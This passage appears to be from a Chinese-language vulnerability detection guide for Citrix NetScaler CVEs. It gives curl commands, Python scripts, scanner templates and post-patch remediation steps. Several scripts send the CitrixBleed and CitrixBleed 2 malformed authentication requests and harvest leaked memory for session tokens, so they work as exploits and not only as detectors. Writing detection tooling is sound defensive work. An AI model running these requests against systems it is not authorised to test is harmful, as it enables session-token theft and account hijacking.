    - https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-20
  tags: citrix,netscaler,cve2022,cve,rce,saml,apt

http:
  - method: GET
    path:
      - "{{BaseURL}}/saml/metadata"

    matchers:
      - type: word
        words:
          - "EntityDescriptor"
          - "saml"
          - "metadata"
        condition: and

# CVE-2023-4966 CitrixBleed 检测
curl -sk -X POST "https://TARGET_IP/p/u/doAuthentication.do" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "login=test&startDM=1"

# 检查响应中是否包含泄露的内存数据
curl -sk -X POST "https://TARGET_IP/p/u/doAuthentication.do" \
  -d "login=admin&startDM=1" | grep -o "NSC_TMAS\|NSC_AA\|NSC_USER"

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def detect_citrixbleed(target_url):
    """
    CVE-2023-4966: CitrixBleed 会话令牌泄露检测
    通过发送畸形认证请求检测内存泄露
    """
    print(f"[*] 检测目标: {target_url}")
    
    auth_url = f"{target_url}/p/u/doAuthentication.do"
    
    payload = {
        "login": "test",
        "startDM": "1"
    }
    
    try:
        resp = requests.post(
            auth_url,
            data=payload,
            verify=False,
            timeout=15,
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
            }
        )
        
        # 检测内存泄露特征
        leaked_patterns = [
            r'NSC_[A-Z_]+=[A-Za-z0-9+/=]+',
            r'sessionid=[A-Za-z0-9]+',
            r'cookie=[A-Za-z0-9;/]+',
        ]
        
        found_leaks = False
        for pattern in leaked_patterns:
            matches = re.findall(pattern, resp.text)
            if matches:
                for match in matches:
                    print(f"[!] 疑似泄露数据: {match[:50]}...")
                    found_leaks = True
        
        if not found_leaks:
            print("[*] 未检测到明显的内存泄露")
            
    except Exception as e:
        print(f"[!] 检测失败: {e}")

if __name__ == "__main__":
    target = input("[-] 目标 URL: ").strip()
    detect_citrixbleed(target)

id: citrix-cve-2023-4966
info:
  name: Citrix Bleed Session Hijack - CVE-2023-4966
  author: x7peeps
  severity: critical
  description: |
    Citrix NetScaler ADC/Gateway 信息泄露漏洞允许攻击者窃取
    会话令牌、绕过 MFA，被多个勒索软件团伙在野利用。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4966
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.4
    cwe-id: CWE-119
  tags: citrix,netscaler,cve2023,cve,citrixbleed,session-hijack

http:
  - raw:
      - |
        POST /p/u/doAuthentication.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        
        login=test&startDM=1

    matchers:
      - type: word
        words:
          - "Citrix"
          - "NetScaler"
          - "NSC_"
        condition: or

# CVE-2025-5777 CitrixBleed 2 检测
# 关键：login 参数不带等号和值
curl -sk -X POST "https://TARGET_IP/p/u/doAuthentication.do" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "login" \
  -o /dev/null -w "%{http_code}\n"

# 获取泄露数据
curl -sk -X POST "https://TARGET_IP/p/u/doAuthentication.do" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "login" | grep -i "InitialValue\|session\|cookie"

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_citrixbleed2(target_url, iterations=5):
    """
    CVE-2025-5777: CitrixBleed 2 内存泄露检测
    通过畸形 login 参数触发未初始化内存泄露
    """
    print(f"[*] 目标: {target_url}")
    print(f"[*] 迭代次数: {iterations}")
    
    auth_url = f"{target_url}/p/u/doAuthentication.do"
    leaked_data = []
    
    for i in range(iterations):
        try:
            resp = requests.post(
                auth_url,
                data=b"login",
                headers={
                    "Content-Type": "application/x-www-form-urlencoded",
                    "Content-Length": "5"
                },
                verify=False,
                timeout=15
            )
            
            # 检查 XML 响应中的 InitialValue
            if "<InitialValue>" in resp.text:
                iv_match = re.search(
                    r'<InitialValue>(.*?)</InitialValue>',
                    resp.text, re.DOTALL
                )
                if iv_match:
                    value = iv_match.group(1)
                    if value and len(value) > 5:
                        print(f"[*] 第 {i+1} 次 - InitialValue 长度: {len(value)}")
                        # 检查是否包含敏感数据
                        if any(kw in value.lower() for kw in
                               ['session', 'nsroot', 'cookie', 'ns_c_']):
                            print(f"[!] 疑似泄露敏感数据: {value[:100]}...")
                            leaked_data.append(value)
            
        except Exception as e:
            print(f"[!] 请求失败: {e}")
    
    if leaked_data:
        print(f"\n[!] 检测到 {len(leaked_data)} 次内存泄露")
        print("[!] CVE-2025-5777 确认 - 建议立即打补丁")
    else:
        print("\n[*] 未检测到明显泄露（可能已修复或需要更多迭代）")
    
    return leaked_data

if __name__ == "__main__":
    target = input("[-] 目标 URL: ").strip()
    exploit_citrixbleed2(target)

id: citrix-cve-2025-5777
info:
  name: CitrixBleed 2 Memory Overread - CVE-2025-5777
  author: x7peeps
  severity: critical
  description: |
    CitrixBleed 2 允许未认证攻击者通过畸形认证请求读取
    未初始化内存内容，泄露会话令牌和敏感数据。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
    - https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cwe-id: CWE-125
  tags: citrix,netscaler,cve2025,cve,citrixbleed2,memory-leak

http:
  - raw:
      - |
        POST /p/u/doAuthentication.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        
        login

    matchers:
      - type: word
        words:
          - "InitialValue"
          - "Citrix"
        condition: or

# CVE-2025-6543 检测 - 配置为 Gateway 或 AAA 虚拟服务器
curl -sk "https://TARGET_IP/vpn/index.html" -o /dev/null -w "%{http_code}\n"
curl -sk "https://TARGET_IP/logon/LogonPoint/index.html" -o /dev/null -w "%{http_code}\n"

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def detect_netscaler_gateway(target_url):
    """
    CVE-2025-6543: 检测 NetScaler 是否配置为 Gateway
    配置为 Gateway 或 AAA 虚拟服务器时受此漏洞影响
    """
    print(f"[*] 检测目标: {target_url}")
    
    gateway_endpoints = [
        "/vpn/index.html",
        "/logon/LogonPoint/index.html",
        "/vpn/pluginlist.xml",
        "/epa/epa.html",
        "/vpn/js/gateway_login_view.js",
    ]
    
    is_gateway = False
    
    for endpoint in gateway_endpoints:
        try:
            resp = requests.get(
                f"{target_url}{endpoint}",
                verify=False, timeout=10
            )
            if resp.status_code in (200, 302):
                print(f"[+] Gateway 端点: {endpoint} (HTTP {resp.status_code})")
                is_gateway = True
        except Exception:
            pass
    
    if is_gateway:
        print("\n[!] NetScaler 配置为 Gateway 模式")
        print("[!] 可能受 CVE-2025-6543 影响（内存溢出 RCE）")
        print("[!] 荷兰 NCSC 确认该漏洞已被零日利用")
        print("[!] 建议立即升级到修复版本")
    else:
        print("[*] 未检测到 Gateway 配置")
    
    return is_gateway

if __name__ == "__main__":
    target = input("[-] 目标 URL: ").strip()
    detect_netscaler_gateway(target)

id: citrix-cve-2025-6543
info:
  name: Citrix NetScaler Memory Overflow RCE - CVE-2025-6543
  author: x7peeps
  severity: critical
  description: |
    Citrix NetScaler ADC/Gateway 内存溢出漏洞可导致远程代码执行，
    已被作为零日漏洞在野利用。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6543
    - https://www.ncsc.nl/actueel/nieuws/2025/07/22/casus-citrix-kwetsbaarheid
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
    cvss-score: 9.2
    cwe-id: CWE-120
  tags: citrix,netscaler,cve2025,cve,rce,memory-overflow,zero-day

http:
  - method: GET
    path:
      - "{{BaseURL}}/vpn/index.html"
      - "{{BaseURL}}/logon/LogonPoint/index.html"
    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - "Citrix"
          - "NetScaler"
          - "Gateway"
          - "LogonPoint"
        condition: or

# CVE-2025-7775 检测
curl -sk "https://TARGET_IP/vpn/pluginlist.xml" | head -5
curl -sk "https://TARGET_IP/cgi/login" -o /dev/null -w "%{http_code}\n"

import requests
import urllib3
import xml.etree.ElementTree as ET

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def detect_cve_2025_7775(target_url):
    """
    CVE-2025-7775: 检测 NetScaler ADC/Gateway 配置和版本
    内存溢出可导致未认证 RCE
    """
    print(f"[*] 检测目标: {target_url}")
    
    # 检查 Gateway 配置
    vuln_configs = []
    
    try:
        resp = requests.get(
            f"{target_url}/vpn/pluginlist.xml",
            verify=False, timeout=10
        )
        if resp.status_code == 200:
            print("[+] 发现 VPN 配置 - 设备可能配置为 Gateway")
            vuln_configs.append("Gateway")
    except Exception:
        pass
    
    # 检查 AAA 配置
    try:
        resp = requests.get(
            f"{target_url}/logon/LogonPoint/index.html",
            verify=False, timeout=10
        )
        if resp.status_code == 200 and "Citrix" in resp.text:
            print("[+] 发现 AAA/LogonPoint 配置")
            vuln_configs.append("AAA")
    except Exception:
        pass
    
    if vuln_configs:
        print(f"\n[!] 受影响配置: {', '.join(vuln_configs)}")
        print("[!] CVE-2025-7775 已确认零日利用")
        print("[!] CISA 和 Citrix 均确认在野利用")
        print("[!] 无可用缓解措施，必须立即升级")
        print("[!] 影响: 14.1 < 14.1-47.48, 13.1 < 13.1-59.22")
    else:
        print("[*] 未检测到受影响配置")
    
    return bool(vuln_configs)

if __name__ == "__main__":
    target = input("[-] 目标 URL: ").strip()
    detect_cve_2025_7775(target)

id: citrix-cve-2025-7775
info:
  name: Citrix NetScaler RCE Zero-Day - CVE-2025-7775
  author: x7peeps
  severity: critical
  description: |
    Citrix NetScaler ADC/Gateway 内存溢出零日漏洞，
    可导致未认证远程代码执行，已被在野利用。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7775
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cwe-id: CWE-120
  tags: citrix,netscaler,cve2025,cve,rce,zero-day

http:
  - method: GET
    path:
      - "{{BaseURL}}/vpn/pluginlist.xml"
      - "{{BaseURL}}/logon/LogonPoint/index.html"
    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - "Citrix"
          - "NetScaler"
        condition: or

# 1. OpenVPN 版本检查
openvpn --version

# 2. Citrix NetScaler 版本检查（SSH 到设备）
show version

# 3. WireGuard 版本检查（Linux）
wg --version

# 4. 检查 NetScaler 是否配置为 Gateway
show ns runningConfig | grep -i "vpn virtual server\|aaa virtual server"

# 5. 检查 SAML 配置（CVE-2022-27518）
cat /nsconfig/ns.conf | grep -i "samlAction\|samlIdPProfile"

# 6. 终止所有活跃会话（升级后必须执行）
kill icaconnection -all
kill pcoipConnection -all
kill rdp connection -all
kill aaa session -all
kill ssh connection -all
kill telnetConnection -all
clear lb persistentSessions